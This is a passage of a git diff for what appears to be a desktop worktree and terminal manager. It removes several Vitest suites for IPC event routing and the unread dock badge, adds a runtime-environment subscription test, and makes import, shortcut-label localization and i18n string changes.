-      worktrees.push(makeWorktree({ id: worktreeId, repoId: TEST_REPO.id }))
-      tabsByWorktree[worktreeId] = [
-        makeTab({ id: tabId, worktreeId, title: 'Hermes', ptyId: `pty-${index}` })
-      ]
-      unifiedTabsByWorktree[worktreeId] = [makeUnifiedTab({ id: tabId, worktreeId, groupId: 'g' })]
-      terminalLayoutsByTabId[tabId] = {
-        root: { type: 'leaf', leafId },
-        activeLeafId: leafId,
-        expandedLeafId: null
-      }
-      snapshot.push({
-        paneKey,
-        worktreeId,
-        state: 'waiting',
-        prompt: `remote prompt ${index}`,
-        agentType: 'hermes',
-        receivedAt: 1_700_000_000_000 + index,
-        stateStartedAt: 1_700_000_000_000 + index
-      })
-    }
-    let resolveSnapshot: ((entries: AgentStatusSetData[]) => void) | undefined
-    const getSnapshot = vi.fn(
-      () =>
-        new Promise<AgentStatusSetData[]>((resolve) => {
-          resolveSnapshot = resolve
-        })
-    )
-    const store = createTestStore()
-    store.setState({
-      workspaceSessionReady: true,
-      repos: [TEST_REPO],
-      worktreesByRepo: { [TEST_REPO.id]: worktrees },
-      tabsByWorktree,
-      terminalLayoutsByTabId,
-      activeWorktreeId: worktrees[0]?.id ?? null,
-      settings: {
-        ...store.getState().settings,
-        tabAutoGenerateTitle: true,
-        terminalFontSize: 13
-      }
-    } as Partial<AppState>)
-    store.setState({ unifiedTabsByWorktree })
-
-    stubReactSyncEffect()
-    vi.doMock('../store', () => ({
-      useAppStore: {
-        subscribe: store.subscribe,
-        getState: store.getState,
-        setState: store.setState
-      }
-    }))
-    stubAuxiliaryModules()
-    const main = layoutApplyTestDouble()
-    vi.stubGlobal(
-      'window',
-      buildWindowApi({
-        getSnapshot,
-        onSet: () => () => {},
-        runtime: { call: main.call }
-      })
-    )
-
-    const { useIpcEvents } = await import('./useIpcEvents')
-    useIpcEvents()
-    await Promise.resolve()
-    resolveSnapshot?.(snapshot)
-
-    await vi.waitFor(() => {
-      expect(
-        store.getState().agentStatusByPaneKey['tab-snapshot-1:00000000-0000-4000-8000-000000000001']
-          ?.state
-      ).toBe('waiting')
-    })
-  })
-})
diff --git a/src/renderer/src/hooks/useIpcEvents-client-hosted-browser-rows.test.ts b/src/renderer/src/hooks/useIpcEvents-client-hosted-browser-rows.test.ts
deleted file mode 100644
index 57646f5a71e..00000000000
--- a/src/renderer/src/hooks/useIpcEvents-client-hosted-browser-rows.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import type { ClientHostedBrowserRowsEvent } from '../../../shared/client-hosted-browser-rows'
-import {
-  loadIpcEventsHarness,
-  type IpcEventsHarness,
-  type IpcEventsHarnessOptions
-} from './ipc-events-test-harness'
-import { createHarnessStoreState } from './ipc-events-harness-store-state'
-
-const WT = 'wt-1'
-
-function pushEvent(): ClientHostedBrowserRowsEvent {
-  return {
-    worktreeId: WT,
-    rows: [
-      {
-        browserPageId: 'page-a',
-        worktreeId: WT,
-        url: 'https://client-hosted.test/docs',
-        title: 'Docs',
-        loading: false,
-        browserHostClientId: 'host-a',
-        hostDeviceName: 'Studio',
-        hostAbsent: false
-      }
-    ]
-  }
-}
-
-/** Import after harness module reset so hook and assertions share the same real row store. */
-async function mountHook(options: IpcEventsHarnessOptions = {}): Promise<{
-  harness: IpcEventsHarness
-  readRows: (worktreeId: string) => readonly { browserPageId: string }[]
-}> {
-  const harness = await loadIpcEventsHarness(
-    createHarnessStoreState({ tabsByWorktree: {} }),
-    options
-  )
-  const { getClientHostedBrowserRows } =
-    await import('@/lib/pane-manager/client-hosted-browser-row-state')
-  harness.useIpcEvents()
-  return { harness, readRows: getClientHostedBrowserRows }
-}
-
-describe('useIpcEvents client-hosted browser rows', () => {
-  // Subscribe before hydration so older snapshots cannot erase pages pushed during the round trip.
-  it('keeps a push that raced the hydration snapshot', async () => {
-    const { harness, readRows } = await mountHook({
-      clientHostedBrowserRowsSnapshot: [{ worktreeId: WT, rows: [] }]
-    })
-
-    harness.clientHostedBrowserRowsChanged(pushEvent())
-    await harness.settleClientHostedBrowserRowsSnapshot()
-
-    expect(readRows(WT).map((row) => row.browserPageId)).toEqual(['page-a'])
-  })
-
-  // Failed hydration must settle and drain buffered pushes or the host strip stays empty forever.
-  it('applies pushes after the hydration round trip fails', async () => {
-    const { harness, readRows } = await mountHook({
-      clientHostedBrowserRowsSnapshotError: new Error('runtime unreachable')
-    })
-
-    harness.clientHostedBrowserRowsChanged(pushEvent())
-    expect(readRows(WT)).toEqual([])
-    await harness.settleClientHostedBrowserRowsSnapshot()
-
-    expect(readRows(WT).map((row) => row.browserPageId)).toEqual(['page-a'])
-    harness.clientHostedBrowserRowsChanged({ worktreeId: WT, rows: [] })
-    expect(readRows(WT)).toEqual([])
-  })
-})
diff --git a/src/renderer/src/hooks/useIpcEvents-close-routing-active-browser-tab.test.ts b/src/renderer/src/hooks/useIpcEvents-close-routing-active-browser-tab.test.ts
deleted file mode 100644
index c22f0c75ccb..00000000000
--- a/src/renderer/src/hooks/useIpcEvents-close-routing-active-browser-tab.test.ts
+++ /dev/null
@@ -1,188 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  useIpcEventsForCloseRouting,
-  type CloseActiveTabListener
-} from './ipc-events-close-routing-test-harness'
-
-const { closeWebRuntimeSessionTab, destroyWorkspaceWebviews, isWebRuntimeSessionActive } =
-  vi.hoisted(() => ({
-    closeWebRuntimeSessionTab: vi.fn(),
-    destroyWorkspaceWebviews: vi.fn(),
-    isWebRuntimeSessionActive: vi.fn(() => true)
-  }))
-
-vi.mock('@/runtime/web-session-tabs-sync/actions/web-runtime-session-tab-lifecycle', () => ({
-  closeWebRuntimeSessionTab
-}))
-vi.mock('@/runtime/hosted-terminals/creation/web-runtime-terminal-creation', () => ({
-  createWebRuntimeSessionTerminal: vi.fn()
-}))
-vi.mock('@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment', () => ({
-  isWebRuntimeSessionActive
-}))
-vi.mock('@/store/slices/browser/cleanup/browser-webview-cleanup', () => ({
-  destroyWorkspaceWebviews
-}))
-
-const closeBrowserTab = vi.fn()
-const closeUnifiedTab = vi.fn()
-const recordClientHostedBrowserCloseIntents = vi.fn()
-
-function activeBrowserWorkspace(handle: {
-  environmentId?: string
-  staged?: true
-}): Record<string, unknown> {
-  return {
-    activeTabType: 'browser',
-    activeBrowserTabId: 'workspace-1',
-    activeWorktreeId: 'wt-1',
-    browserTabsByWorktree: { 'wt-1': [{ id: 'workspace-1' }] },
-    browserPagesByWorkspace: { 'workspace-1': [{ id: 'page-1', workspaceId: 'workspace-1' }] },
-    remoteBrowserPageHandlesByPageId: handle.environmentId
-      ? {
-          'page-1': {
-            environmentId: handle.environmentId,
-            remotePageId: 'remote-1',
-            ...(handle.staged ? { staged: true } : {})
-          }
-        }
-      : {},
-    unifiedTabsByWorktree: {
-      'wt-1': [{ id: 'unified-1', contentType: 'browser', entityId: 'workspace-1' }]
-    },
-    closeBrowserTab,
-    closeUnifiedTab,
-    recordClientHostedBrowserCloseIntents
-  }
-}
-
-/** Pageless host mirror ownership comes from its runtime-owned workspace row, not a local page. */
-function pagelessHostMirror(): Record<string, unknown> {
-  return {
-    ...activeBrowserWorkspace({}),
-    browserPagesByWorkspace: {},
-    worktreesByRepo: {
-      'repo-1': [{ id: 'wt-1', repoId: 'repo-1', runtimeOwnerEnvironmentId: 'env-a' }]
-    }
-  }
-}
-
-function requireListener(ref: { current: CloseActiveTabListener | null }): CloseActiveTabListener {
-  if (!ref.current) {
-    throw new Error('onCloseActiveTab was never registered')
-  }
-  return ref.current
-}
-
-// Runtime connectivity alone does not prove host page ownership; inert host closes leave other tabs standing.
-describe('useIpcEvents Close Tab on the active browser tab', () => {
-  beforeEach(() => {
-    vi.resetModules()
-    vi.unstubAllGlobals()
-    vi.clearAllMocks()
-    isWebRuntimeSessionActive.mockReturnValue(true)
-  })
-
-  // Staged pages lack host identity yet; inert remote close lets the in-flight snapshot recreate them.
-  it('unwinds a staged workspace as a cleanup close instead of closing it on the host', async () => {
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: () => activeBrowserWorkspace({ environmentId: 'env-a', staged: true })
-    })
-
-    requireListener(listenerRef)()
-
-    expect(closeWebRuntimeSessionTab).not.toHaveBeenCalled()
-    expect(closeBrowserTab).toHaveBeenCalledWith('workspace-1', { reason: 'cleanup' })
-  })
-
-  // Pageless mirrors need local removal by unified tab ID; host sync has no local page to retract.
-  it('removes the mirror tab itself when the host holds no page for it', async () => {
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: pagelessHostMirror
-    })
-
-    requireListener(listenerRef)()
-
-    expect(closeWebRuntimeSessionTab).toHaveBeenCalledWith({
-      worktreeId: 'wt-1',
-      tabId: 'unified-1',
-      environmentId: 'env-a',
-      reason: 'user'
-    })
-    expect(closeUnifiedTab).toHaveBeenCalledWith('unified-1', undefined)
-    expect(closeBrowserTab).not.toHaveBeenCalled()
-  })
-
-  it('tears a pageless mirror down here when its runtime is disconnected', async () => {
-    isWebRuntimeSessionActive.mockReturnValue(false)
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: pagelessHostMirror
-    })
-
-    requireListener(listenerRef)()
-
-    expect(closeWebRuntimeSessionTab).not.toHaveBeenCalled()
-    expect(closeUnifiedTab).toHaveBeenCalledWith('unified-1', undefined)
-    expect(closeBrowserTab).toHaveBeenCalledWith('workspace-1', undefined)
-  })
-
-  // Guest focus can leave the group’s active-type mirror stale; forwarded source IDs must still close the guest’s workspace.
-  it('closes the source workspace when the active-tab mirror points at a terminal', async () => {
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: () => ({
-        ...activeBrowserWorkspace({}),
-        activeTabType: 'terminal',
-        activeBrowserTabId: null,
-        browserPagesByWorkspace: {
-          'workspace-1': [{ id: 'page-1', workspaceId: 'stale-workspace', worktreeId: 'stale-wt' }]
-        }
-      })
-    })
-
-    requireListener(listenerRef)({ sourceId: 'page-1' })
-
-    expect(closeBrowserTab).toHaveBeenCalledWith('workspace-1', undefined)
-    expect(destroyWorkspaceWebviews).toHaveBeenCalled()
-  })
-
-  it('no-ops on a stale source id instead of closing the ambient active tab', async () => {
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: () => activeBrowserWorkspace({})
-    })
-
-    requireListener(listenerRef)({ sourceId: 'page-that-no-longer-exists' })
-
-    expect(closeBrowserTab).not.toHaveBeenCalled()
-    expect(closeUnifiedTab).not.toHaveBeenCalled()
-    expect(closeWebRuntimeSessionTab).not.toHaveBeenCalled()
-  })
-
-  it('no-ops when a source page belongs to no live workspace', async () => {
-    const listenerRef: { current: CloseActiveTabListener | null } = { current: null }
-    await useIpcEventsForCloseRouting({
-      closeActiveTabListenerRef: listenerRef,
-      getState: () => ({
-        ...activeBrowserWorkspace({}),
-        browserPagesByWorkspace: {
-          orphan: [{ id: 'orphan-page', workspaceId: 'workspace-1', worktreeId: 'wt-1' }]
-        }
-      })
-    })
-
-    requireListener(listenerRef)({ sourceId: 'orphan-page' })
-
-    expect(closeBrowserTab).not.toHaveBeenCalled()
-    expect(closeUnifiedTab).not.toHaveBeenCalled()
-    expect(closeWebRuntimeSessionTab).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/hooks/useIpcEvents-cmd-j-digit-chord.test.ts b/src/renderer/src/hooks/useIpcEvents-cmd-j-digit-chord.test.ts
deleted file mode 100644
index eb6198e7194..00000000000
--- a/src/renderer/src/hooks/useIpcEvents-cmd-j-digit-chord.test.ts
+++ /dev/null
@@ -1,74 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { loadIpcEventsHarness } from './ipc-events-test-harness'
-import { createHarnessStoreState, type HarnessStoreState } from './ipc-events-harness-store-state'
-import type * as CmdJRowIndexJump from '@/lib/cmd-j-row-index-jump'
-
-type CmdJRowIndexJumpModule = typeof CmdJRowIndexJump
-
-describe('useIpcEvents digit-chord routing while Cmd+J is open', () => {
-  function createPaletteState(activeModal: string | null): HarnessStoreState {
-    return createHarnessStoreState({
-      tabsByWorktree: {},
-      activeModal,
-      activeView: 'terminal'
-    })
-  }
-
-  // Import the bus after harness reset so assertions observe the same instance as the hook.
-  async function loadRowJumpBus(): Promise<CmdJRowIndexJumpModule> {
-    return import('@/lib/cmd-j-row-index-jump')
-  }
-
-  it('routes the workspace digit chord to the palette instead of switching workspaces', async () => {
-    const harness = await loadIpcEventsHarness(createPaletteState('worktree-palette'))
-    harness.useIpcEvents()
-    const rowJumps: number[] = []
-    const unsubscribe = (await loadRowJumpBus()).subscribeCmdJRowIndexJump((index) =>
-      rowJumps.push(index)
-    )
-
-    harness.jumpToWorktreeIndex(2)
-    unsubscribe()
-
-    expect(rowJumps).toEqual([2])
-  })
-
-  it('leaves the workspace jump alone when the palette is closed', async () => {
-    const harness = await loadIpcEventsHarness(createPaletteState(null), {
-      visibleWorktreeIds: ['wt-a', 'wt-b', 'wt-c']
-    })
-    harness.useIpcEvents()
-    const rowJumps: number[] = []
-    const unsubscribe = (await loadRowJumpBus()).subscribeCmdJRowIndexJump((index) =>
-      rowJumps.push(index)
-    )
-
-    harness.jumpToWorktreeIndex(2)
-    unsubscribe()
-
-    expect(rowJumps).toEqual([])
-    // Why assert the activation and not just the silent bus: a premature return would also emit nothing.
-    expect(harness.activateAndRevealWorkspace).toHaveBeenCalledWith('wt-c', {
-      navigationIntent: 'user-open',
-      showWorkspaceList: true
-    })
-  })
-
-  it('routes duplicate ids at different positions to their rendered hosts', async () => {
-    const harness = await loadIpcEventsHarness(createPaletteState(null), {
-      visibleWorktreeTargets: [
-        { id: 'repo::path', executionHostId: 'local' },
-        { id: 'repo::path', executionHostId: 'ssh:box' }
-      ]
-    })
-    harness.useIpcEvents()
-
-    harness.jumpToWorktreeIndex(1)
-
-    expect(harness.activateAndRevealWorkspace).toHaveBeenCalledWith('repo::path', {
-      navigationIntent: 'user-open',
-      showWorkspaceList: true,
-      executionHostId: 'ssh:box'
-    })
-  })
-})
diff --git a/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts b/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
index a789a42c195..461640eda60 100644
--- a/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
+++ b/src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts
@@ -10,6 +10,8 @@ import type {
   RuntimeEnvironmentStoreSyncSubscriber
 } from './ipc-events/runtime-environment-subscription-selection'
 
+import { createRuntimeClientEventsSync } from './runtime-client-events-sync'
+
 type RuntimeEnvironmentStoreSubscriber = RuntimeEnvironmentStoreSyncSubscriber
 type RuntimeEnvironmentStoreState = RuntimeEnvironmentStoreSyncState
 
@@ -32,6 +34,78 @@ function makeRuntimeEnvironmentStoreState(args: {
 }
 
 describe('createRuntimeEnvironmentStoreSyncSubscriber', () => {
+  it('retires removed registry members despite retained status and follows active host changes', async () => {
+    const environments = [
+      { id: 'A', createdAt: 1 },
+      { id: 'B', createdAt: 2 }
+    ]
+    const statuses = new Map([
+      ['A', { status: { runtimeId: 'peer-a' }, checkedAt: 1 }],
+      ['B', { status: { runtimeId: 'peer-b' }, checkedAt: 1 }]
+    ])
+    let state = makeRuntimeEnvironmentStoreState({ environments, statuses })
+    const subscriptions: string[] = []
+    const retirements: string[] = []
+    const wakes: (readonly string[] | undefined)[] = []
+    const manager = createRuntimeClientEventsSync({
+      getDesiredEnvironmentIds: () => getRuntimeClientEventEnvironmentIds(state),
+      subscribe: (id) => {
+        subscriptions.push(id)
+        return Promise.resolve({
+          unsubscribe: () => {
+            retirements.push(id)
+          }
+        })
+      },
+      onEvent: vi.fn()
+    })
+    const subscriber = createRuntimeEnvironmentStoreSyncSubscriber({
+      initialDesiredEnvironmentIds: getRuntimeClientEventEnvironmentIds(state),
+      initialReachableEnvironmentIds: getReachableRuntimeEnvironmentIds(state),
+      getDesiredEnvironmentIds: getRuntimeClientEventEnvironmentIds,
+      getReachableEnvironmentIds: getReachableRuntimeEnvironmentIds,
+      buildEnvironmentKey: (ids) => [...ids].sort().join(':'),
+      requestProjectRefresh: vi.fn(),
+      markEnvironmentSshStateStale: vi.fn(),
+      sync: (ids) => {
+        wakes.push(ids)
+        manager.sync(ids)
+      }
+    })
+    const publish = (next: RuntimeEnvironmentStoreState): void => {
+      const previous = state
+      state = next
+      subscriber(state, previous)
+    }
+    manager.sync()
+    await Promise.resolve()
+    publish(makeRuntimeEnvironmentStoreState({ environments: [environments[1]], statuses }))
+    expect(retirements).toEqual(['A'])
+    expect(wakes).toEqual([[]])
+    publish(
+      makeRuntimeEnvironmentStoreState({
+        environments: [environments[1]],
+        statuses,
+        activeEnvironmentId: 'C'
+      })
+    )
+    await Promise.resolve()
+    expect(subscriptions).toEqual(['A', 'B', 'C'])
+    expect(wakes).toEqual([[], ['C']])
+    publish(
+      makeRuntimeEnvironmentStoreState({
+        environments: [environments[1]],
+        statuses,
+        activeEnvironmentId: 'D'
+      })
+    )
+    await Promise.resolve()
+    expect(retirements).toEqual(['A', 'C'])
+    expect(subscriptions).toEqual(['A', 'B', 'C', 'D'])
+    expect(wakes).toEqual([[], ['C'], ['D']])
+    manager.stop()
+  })
+
   it('syncs each connect, disconnect, re-pair, runtime generation, and nested SSH generation once', () => {
     let environments = [
       { id: 'runtime-a', createdAt: 1, pairingRevision: 1 },
diff --git a/src/renderer/src/hooks/useSettingsNavigationMetadata.ts b/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
index cff20541fbf..29769de46cd 100644
--- a/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
+++ b/src/renderer/src/hooks/useSettingsNavigationMetadata.ts
@@ -1,7 +1,5 @@
 import { useMemo } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-// Share Settings/Cmd+J visibility without Settings pane UI imports; an architecture test enforces this boundary.
-// Share Settings/Cmd+J visibility without Settings pane UI imports; an architecture test enforces this boundary.
 import {
   getRuntimeEnvironmentsSearchEntry,
   getWebRuntimeEnvironmentsSearchEntry
@@ -9,8 +7,7 @@ import {
 import { getTerminalPaneSearchEntries } from '@/components/settings/terminal/terminal-search'
 import { isMacUserAgent, isWindowsUserAgent } from '@/app-shell/platform/user-agent-platform'
 import { useLinearProviderConnected } from '@/hooks/useLinearProviderConnected'
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
-import type { SettingsNavSection } from '@/components/settings/navigation/settings-navigation-types'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 import {
   isWindowsTerminalCapabilityHost,
@@ -23,19 +20,24 @@ import {
   useChatSettingsOwnPermissions,
   useStructuredAgentSessionHostQueuesMessages
 } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-capability'
-import type { ProjectGroupingModel } from '../../../shared/project-section-grouping'
-import type { Repo } from '../../../shared/repo-types'
 import {
   buildCapabilitySettingsSections,
   buildSetupSettingsSections
 } from './settings-navigation-capability-sections'
-import type { SettingsNavigationBuildOptions } from './settings-navigation-build-options'
 import { buildInterfaceSettingsSections } from './settings-navigation-interface-sections'
 import { buildRemoteSettingsSections } from './settings-navigation-remote-sections'
 import { buildWorkflowSettingsSections } from './settings-navigation-workflow-sections'
 import { useWindowsTerminalCapabilityOwnerKey } from './useWindowsTerminalCapabilityOwnerKey'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
-import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { useTranslate } from '@/i18n/use-translate'
+import type { Translate } from '@/i18n/use-translate'
+import type { SettingsNavSection } from '@/components/settings/navigation/settings-navigation-types'
+import type { ProjectGroupingModel } from '../../../shared/project-section-grouping'
+import type { Repo } from '../../../shared/repo-types'
+import type { SettingsNavigationBuildOptions } from './settings-navigation-build-options'
+
+// Share Settings/Cmd+J visibility without Settings pane UI imports; an architecture test enforces this boundary.
+// Share Settings/Cmd+J visibility without Settings pane UI imports; an architecture test enforces this boundary.
 
 export { isWebClientLocation } from '@/app-shell/platform/web-client-location'
 
diff --git a/src/renderer/src/hooks/useShortcutLabel.ts b/src/renderer/src/hooks/useShortcutLabel.ts
index 2986b7b4c79..818af240d10 100644
--- a/src/renderer/src/hooks/useShortcutLabel.ts
+++ b/src/renderer/src/hooks/useShortcutLabel.ts
@@ -8,6 +8,7 @@ import {
   type KeybindingOverrides
 } from '../../../shared/keybindings'
 import { getShortcutPlatform } from '../lib/keyboard/shortcut-platform'
+import { localizeUnassignedDisplay } from '@/i18n/unassigned-label'
 
 export { getShortcutPlatform }
 
@@ -54,8 +55,13 @@ export function formatShortcutLabel(
   overrides?: KeybindingOverrides
 ): string {
   const platform = getShortcutPlatform()
-  return memoizeShortcut('label', actionId, platform, overrides, () =>
-    formatKeybindingList(getEffectiveKeybindingsForAction(actionId, platform, overrides), platform)
+  return localizeUnassignedDisplay(
+    memoizeShortcut('label', actionId, platform, overrides, () =>
+      formatKeybindingList(
+        getEffectiveKeybindingsForAction(actionId, platform, overrides),
+        platform
+      )
+    )
   )
 }
 
@@ -64,10 +70,12 @@ export function formatPrimaryShortcutLabel(
   overrides?: KeybindingOverrides
 ): string {
   const platform = getShortcutPlatform()
-  return memoizeShortcut('primary', actionId, platform, overrides, () => {
-    const [binding] = getEffectiveKeybindingsForAction(actionId, platform, overrides)
-    return binding ? formatKeybindingList([binding], platform) : 'Unassigned'
-  })
+  return localizeUnassignedDisplay(
+    memoizeShortcut('primary', actionId, platform, overrides, () => {
+      const [binding] = getEffectiveKeybindingsForAction(actionId, platform, overrides)
+      return binding ? formatKeybindingList([binding], platform) : 'Unassigned'
+    })
+  )
 }
 
 export function useShortcutLabel(actionId: KeybindingActionId): string {
diff --git a/src/renderer/src/hooks/useUnreadDockBadge.test.ts b/src/renderer/src/hooks/useUnreadDockBadge.test.ts
deleted file mode 100644
index 327dd1f27c3..00000000000
--- a/src/renderer/src/hooks/useUnreadDockBadge.test.ts
+++ /dev/null
@@ -1,172 +0,0 @@
-// @vitest-environment happy-dom
-
-import { act, cleanup, renderHook } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type * as UnreadBadgeCountModule from '@/lib/unread-badge-count'
-import { makeFolderWorkspace } from '@/store/folder-workspaces/folder-workspace.test-fixture'
-import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture'
-import { makeTab } from '../store/terminals/terminal-tab.test-fixture'
-
-const { getUnreadBadgeCount } = vi.hoisted(() => ({ getUnreadBadgeCount: vi.fn() }))
-
-vi.mock('@/lib/unread-badge-count', async (importOriginal) => {
-  const actual = await importOriginal<typeof UnreadBadgeCountModule>()
-  getUnreadBadgeCount.mockImplementation(actual.getUnreadBadgeCount)
-  return { ...actual, getUnreadBadgeCount }
-})
-
-import { useAppStore } from '@/store'
-import { useUnreadDockBadge } from './useUnreadDockBadge'
-
-const initialState = useAppStore.getInitialState()
-
-describe('useUnreadDockBadge', () => {
-  let setUnreadDockBadgeCount: ReturnType<typeof vi.fn>
-
-  beforeEach(() => {
-    getUnreadBadgeCount.mockClear()
-    useAppStore.setState(
-      {
-        ...initialState,
-        worktreesByRepo: {},
-        folderWorkspaces: [],
-        tabsByWorktree: {},
-        unreadTerminalTabs: {}
-      },
-      true
-    )
-    setUnreadDockBadgeCount = vi.fn().mockResolvedValue(undefined)
-    vi.stubGlobal('window', {
-      api: {
-        app: {
-          setUnreadDockBadgeCount
-        }
-      }
-    })
-  })
-
-  afterEach(() => {
-    cleanup()
-    useAppStore.setState(initialState, true)
-    vi.unstubAllGlobals()
-  })
-
-  it('does not rescan workspaces for unrelated remote activity or parent renders', () => {
-    const worktrees = Array.from({ length: 100 }, (_, index) =>
-      makeWorktree({ id: `repo::worktree-${index}`, repoId: 'repo', isUnread: index === 99 })
-    )
-    useAppStore.setState({ worktreesByRepo: { repo: worktrees } })
-    const hook = renderHook(() => useUnreadDockBadge(false))
-
-    expect(getUnreadBadgeCount).toHaveBeenCalledTimes(1)
-    act(() => {
-      for (let index = 0; index < 100; index += 1) {
-        useAppStore.setState({ agentStatusEpoch: useAppStore.getState().agentStatusEpoch + 1 })
-      }
-      useAppStore.setState({
-        runtimeStatusByEnvironmentId: new Map(useAppStore.getState().runtimeStatusByEnvironmentId)
-      })
-    })
-    hook.rerender()
-
-    expect(getUnreadBadgeCount).toHaveBeenCalledTimes(1)
-  })
-
-  // Count renders because this App-root subscription can rerender the entire shell for an unchanged badge.
-  it('leaves the App root asleep through title frames and wakes it only on a badge change', () => {
-    const worktrees = Array.from({ length: 20 }, (_, index) =>
-      makeWorktree({ id: `repo::worktree-${index}`, repoId: 'repo', isUnread: index === 19 })
-    )
-    const tabsByWorktree = Object.fromEntries(
-      worktrees.map((worktree, index) => [
-        worktree.id,
-        [makeTab({ id: `tab-${index}`, worktreeId: worktree.id })]
-      ])
-    )
-    useAppStore.setState({ worktreesByRepo: { repo: worktrees }, tabsByWorktree })
-    let renders = 0
-    renderHook(() => {
-      renders += 1
-      return useUnreadDockBadge(false)
-    })
-    const rendersAfterMount = renders
-
-    // Separate acts: title frames arrive as individual store writes, not one batch.
-    for (let index = 0; index < 20; index += 1) {
-      act(() => useAppStore.getState().updateTabTitle(`tab-${index}`, `agent frame ${index}`))
-    }
-
-    expect(useAppStore.getState().tabsByWorktree).not.toBe(tabsByWorktree)
-    expect(renders).toBe(rendersAfterMount)
-
-    act(() =>
-      useAppStore.getState().markAgentAttentionUnread({
-        workspaceId: 'repo::worktree-0',
-        subjectKey: null,
-        groupId: null,
-        reason: 'agent-completion'
-      })
-    )
-    expect(renders).toBe(rendersAfterMount + 1)
-    expect(setUnreadDockBadgeCount).toHaveBeenLastCalledWith(2)
-
-    act(() =>
-      useAppStore
-        .getState()
-        .readOnScreenAttention(
-          { workspaceIds: ['repo::worktree-0'], targets: [] },
-          { screenArrived: true }
-        )
-    )
-    expect(renders).toBe(rendersAfterMount + 2)
-    expect(setUnreadDockBadgeCount).toHaveBeenLastCalledWith(1)
-  })
-
-  it('keeps the root asleep through folder title frames and unrelated attention writes', () => {
-    const folder = makeFolderWorkspace({ id: 'bell-folder', isUnread: true })
-    const key = `folder:${folder.id}`
-    const tab = makeTab({ id: 'folder-bell', worktreeId: key })
-    useAppStore.setState({
-      projectGroups: [
-        {
-          id: folder.projectGroupId,
-          name: 'folder-group',
-          parentPath: '/work',
-          parentGroupId: null,
-          createdFrom: 'manual',
-          tabOrder: 0,
-          isCollapsed: false,
-          color: null,
-          createdAt: 0,
-          updatedAt: 0
-        }
-      ],
-      folderWorkspaces: [folder],
-      tabsByWorktree: { [key]: [tab] },
-      unreadTerminalTabs: { [tab.id]: 'terminal-bell' }
-    })
-    let renders = 0
-    renderHook(() => {
-      renders += 1
-      return useUnreadDockBadge(false)
-    })
-    const initialRenders = renders
-    expect(setUnreadDockBadgeCount).toHaveBeenLastCalledWith(1)
-    for (let index = 0; index < 20; index += 1) {
-      act(() => useAppStore.getState().updateTabTitle(tab.id, `folder frame ${index}`))
-    }
-    act(() =>
-      useAppStore.setState({
-        unreadTerminalTabs: {
-          ...useAppStore.getState().unreadTerminalTabs,
-          orphan: 'terminal-bell'
-        }
-      })
-    )
-    expect(renders).toBe(initialRenders)
-    expect(getUnreadBadgeCount).toHaveBeenCalledTimes(1)
-    act(() => useAppStore.setState({ unreadTerminalTabs: { orphan: 'terminal-bell' } }))
-    expect(renders).toBe(initialRenders + 1)
-    expect(setUnreadDockBadgeCount).toHaveBeenLastCalledWith(0)
-  })
-})
diff --git a/src/renderer/src/hooks/useUnreadDockBadge.ts b/src/renderer/src/hooks/useUnreadDockBadge.ts
index 5c7fa6c64a1..f7fac19af7b 100644
--- a/src/renderer/src/hooks/useUnreadDockBadge.ts
+++ b/src/renderer/src/hooks/useUnreadDockBadge.ts
@@ -1,6 +1,6 @@
 import { useEffect, useMemo } from 'react'
-import { createUnreadBadgeCountSelector } from '@/lib/unread-badge-count-selector'
-import { useAppStore } from '@/store'
+import { createUnreadBadgeCountSelector } from '@/attention/unread/unread-badge-count-selector'
+import { useAppStore } from '@/store/index'
 import { selectFloatingWorkspaceHasUnread } from '@/store/workspaces/floating/floating-workspace-unread-selector'
 
 function setUnreadDockBadgeCountBestEffort(count: number): void {
diff --git a/src/renderer/src/i18n/en-runtime-required.json b/src/renderer/src/i18n/en-runtime-required.json
index 9e027b20e32..83589ec53d0 100644
--- a/src/renderer/src/i18n/en-runtime-required.json
+++ b/src/renderer/src/i18n/en-runtime-required.json
@@ -126,10 +126,13 @@
           "threadListOptionsActiveFilters_other": "Thread list options ({{count}} filters active)"
         },
         "ActivityThreadContextMenu": {
+          "clearMany": "Clear {{count}} Agents from List",
           "clearMany_one": "Clear {{count}} Agent from List",
           "clearMany_other": "Clear {{count}} Agents from List",
+          "markManyRead": "Mark {{count}} Agents Read",
           "markManyRead_one": "Mark {{count}} Agent Read",
           "markManyRead_other": "Mark {{count}} Agents Read",
+          "markManyUnread": "Mark {{count}} Agents Unread",
           "markManyUnread_one": "Mark {{count}} Agent Unread",
           "markManyUnread_other": "Mark {{count}} Agents Unread"
         },
@@ -247,6 +250,7 @@
